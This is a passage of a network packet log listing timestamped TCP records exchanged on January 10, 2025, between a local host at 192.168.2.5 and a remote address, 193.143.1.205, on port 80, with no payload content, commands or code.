Jan 10, 2025 18:46:37.270509005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.270533085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.270545006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.270585060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.270596981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.270631075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.270664930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.270680904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.270699978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.270747900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.278701067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.287878990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.287915945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.287955046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.287986040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.287990093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.288023949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.288058043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.290651083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.302809954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.306773901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.306808949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.306823015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.306868076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.306869030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.306900024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.306915045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.306963921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.307054043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.307068110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.307116032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.307121992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.307128906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.307142019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.307168961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.315246105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.322479010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322519064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322540045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322561979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322561026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.322576046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322599888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.322622061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.322644949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322655916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322666883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322689056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.322784901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322797060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322808027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322829008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.322859049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.322909117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322921991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322933912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.322961092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.323115110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323127985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323138952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323153019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323163033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.323168039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323198080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.323218107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.323362112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323375940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323386908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323399067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323409081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.323412895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323458910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.323594093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323642015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.323729992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323749065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323760033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323772907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323785067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323796034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.323796988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323811054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.323817968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.323838949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.324115038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324126959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324137926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324148893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324162006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324179888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.324202061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.324346066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324358940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324368954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324381113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324394941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324397087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.324436903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.324716091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324728966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324739933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324759007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324759960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.324773073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324779987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.324784994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324806929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324814081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.324820995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324834108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324837923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.324845076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324860096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.324903965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.324903965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.325160027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.325202942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.325215101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.325253963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.327480078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327512026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327543020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.327554941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327572107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327605963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.327668905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327682018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327692986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327704906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327713013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.327747107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.327863932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327876091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327887058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327898979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327910900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327922106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.327925920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.327939987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.327965975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.328044891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328084946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.328109026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328123093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328161001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.328207970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328221083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328232050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328259945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.328409910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328425884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328437090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328447104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328458071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.328459978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328485012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.328495979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328504086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.328509092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328555107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.328649044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328661919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328671932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328684092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328696012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.328722954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.328783989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.328805923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328818083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.328871012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.357682943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.357707024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.357719898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.357732058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.357744932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.357755899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.357769012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.357882023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.357882023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.357882977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.374799013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.374814987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.374831915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.374890089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.374900103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.374912977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.374927044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.374969959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.374969959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.374969959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.375011921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.396377087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396403074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396418095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396456003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.396459103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396476030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396487951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396500111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396507025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.396512032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396538973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.396590948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.396636009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396650076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396667004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396687031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.396969080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396981001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.396994114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.397006035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.397016048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.397047997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.414630890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414648056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414668083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414680004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414699078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414701939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.414710999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414724112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414736032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414747000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414760113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414760113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.414761066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.414761066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.414769888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414782047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414792061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414803982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414813995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414827108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.414827108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.414834023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414846897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414856911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414864063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.414876938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414887905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414896965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.414901972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414921045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.414937019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.414952993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.415112972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.415124893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.415136099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.415147066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.415154934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.415159941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.415170908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.415184021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.415196896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.415196896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.415225029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.415805101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.415822983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.415833950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.415908098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.416150093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416193008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.416352987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416366100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416376114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416388035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416398048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416407108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.416409016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416421890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416429996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.416435003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416446924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416450977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.416459084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416471004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416477919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.416484118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416495085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.416497946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416510105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416522026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416534901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416536093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.416548014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.416568995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.416568995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.418011904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418025017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418090105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.418175936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418203115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418214083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418225050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418236017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418241024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.418248892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418258905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418270111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418282032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418287992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.418287992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.418294907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418315887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418319941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.418319941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.418329000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418342113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418354034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418365002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.418368101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418411970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.418411970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.418854952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418872118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418881893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418894053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418905020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.418911934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.418951988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.427676916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.427730083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.427742004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.427743912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.427778959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.427779913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.427793026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.427805901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.427843094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.427903891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.427917004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.427927971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.427963972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.427963972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.428055048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428066969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428077936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428088903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.428105116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.428132057 CET	49704	80	192.168.2.5	193.143.1.205
